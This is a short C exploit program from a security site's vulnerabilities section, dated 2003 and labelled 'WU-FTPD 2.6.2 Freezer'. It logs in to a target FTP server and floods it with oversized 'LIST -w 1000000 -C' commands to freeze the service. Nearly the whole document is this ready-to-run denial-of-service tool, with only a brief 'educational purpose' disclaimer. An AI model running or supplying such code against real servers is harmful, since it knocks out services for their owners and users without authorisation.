http://www.rosiello.org
Vulnerabilities Section.
/*
*
* http://www.rosiello.org
* (c) Rosiello Security
*
* Copyright Rosiello Security 2003
* All Rights reserved.
*
* Tested on Red Hat 9.0
*
* Author: Angelo Rosiello
* Mail : angelo@xxxxxxxxxxxx
* URL : http://www.rosiello.org
*
* This software is only for educational purpose.
* Do not use it against machines different from yours.
* Respect law.
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
void addr_initialize( );
void usage( );
int main( int argc, char **argv )
{
int i, sd, PORT, loop, error;
char user[30], password[30], ch;
struct sockaddr_in server_addr;
fprintf( stdout, "\n(c) Rosiello Security 2003\n" );
fprintf( stdout, "http://www.rosiello.org\n"; );
fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );
if( argc != 6 ) usage( argv[0] );
if( strlen( argv[3] ) > 20 ) exit( 0 );
if( strlen( argv[4] ) > 20 ) exit( 0 );
sprintf( user, "USER %s\n", argv[3] );
sprintf( password, "PASS %s\n", argv[4] );
PORT = atoi( argv[2] );
loop = atoi( argv[5] );
addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));
sd = socket( AF_INET, SOCK_STREAM, 0 );
error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof(
server_addr ));
if( error != 0 )
{
perror( "Something wrong with the connection" );
exit( 0 );
}
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
ch = '\0';
printf( "Connection executed, now waiting to log in...\n" );
printf( "%s", user );
send( sd, user, strlen( user ), 0 );
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
printf( "%s", password );
ch = '\0';
send( sd, password, strlen( password ), 0 );
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
printf( "Sending the DoS query\n" );
for( i=0; i<loop; i++ )
{
write( sd, "LIST -w 1000000 -C\n", 19 );
}
printf( "All done\n" );
close( sd );
return 0;
}
void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
address -> sin_family = AF_INET;
address -> sin_port = htons((u_short)port);
address -> sin_addr.s_addr = IPaddr;
}
void usage( char *program )
{
fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n",
program);
exit(0);
}